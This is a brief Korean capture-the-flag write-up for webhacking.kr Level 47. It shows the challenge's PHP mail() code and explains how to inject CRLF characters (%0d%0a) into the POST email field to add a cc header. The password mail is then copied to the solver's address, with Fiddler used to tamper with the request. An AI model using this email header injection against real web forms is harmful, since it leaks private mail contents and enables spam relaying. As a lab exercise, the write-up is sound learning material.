Level 47
<? if($_POST[email]) { $pass="????"; $header="From: $_POST[email]\r\n"; mail("admin@webhacking.kr","readme","password is $pass",$header); echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>"); } ?>
email값이 POST방식 일 때 mail함수가 실행된다.
mail함수는 ("받는사람 주소", "메일 제목", "메일 내용", "헤더내용(옵션)") 이런 형식으로 되어있다.
그리고 header값에는 우리가 입력할 수 있는 값이 들어가게 된다.
여기서 우리가 입력한 값으로 조작 할 수 있는 것은 header의 값이다.
구글링해보니 mail 함수에서 header값에 참조인을 넣을 수 있다.
즉 받는 사람 이외에 참조인도 메일을 받을 수 있게 되는 것이다.
cc: [메일주소]
형식으로 넣어주면 된다.
따라서 우리는 헤더를 header = "From: abcd@naver.com\r\ncc:haks2198@naver.com\r\n"
으로 만들면 된다.
\r : %0d
\n : %0a
abcd@naver.com%0d%0acc: haks2198@naver.com
값을 fiddler를 이용해서 패킷을 보내는 순간 조작하여 보내자.